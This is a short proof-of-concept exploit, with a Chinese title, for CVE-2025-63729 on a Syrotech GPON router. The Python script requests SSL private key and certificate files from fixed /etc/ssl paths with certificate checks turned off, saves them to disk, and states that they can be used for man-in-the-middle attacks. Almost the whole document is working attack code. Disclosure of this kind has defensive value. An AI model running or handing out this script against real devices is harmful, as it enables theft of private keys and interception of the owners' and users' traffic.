CVE-2025-63729 Syrotech GPON设备敏感证书泄露漏洞

# CVE-2025-63729 PoC - Syrotech GPON Certificate Extraction # Target: Syrotech SY-GPON-1110-WDONT (Firmware: SYRO_3.7L_3.1.02-240517) # Vulnerability: Unprotected access to SSL private keys and certificates import requests import os import sys TARGET_IP = "192.168.1.1" # Target GPON device IP TARGET_PORT = 443 def exploit_cve_2025_63729(): """ Exploit for CVE-2025-63729: Extract SSL certificates and private keys from Syrotech SY-GPON-1110-WDONT device """ print(f"[*] Targeting {TARGET_IP}:{TARGET_PORT}") print(f"[*] Exploiting CVE-2025-63729...") # Sensitive files to extract from /etc folder sensitive_files = [ "/etc/ssl/private/server.key", # SSL Private Key "/etc/ssl/certs/ca.crt", # CA Certificate "/etc/ssl/certs/server.crt", # SSL Certificate "/etc/ssl/certs/client.crt", # Client Certificate ] extracted_files = [] for file_path in sensitive_files: try: # Attempt to download sensitive certificate files url = f"https://{TARGET_IP}:{TARGET_PORT}{file_path}" response = requests.get(url, verify=False, timeout=10) if response.status_code == 200 and ".pem" in response.text: filename = os.path.basename(file_path) with open(filename, 'w') as f: f.write(response.text) extracted_files.append(filename) print(f"[+] Extracted: {filename}") except Exception as e: print(f"[-] Failed to extract {file_path}: {e}") if extracted_files: print(f"\n[!] Successfully extracted {len(extracted_files)} certificate files") print("[!] These credentials can be used for MITM attacks") else: print("[-] No certificates extracted") return extracted_files if __name__ == "__main__": exploit_cve_2025_63729()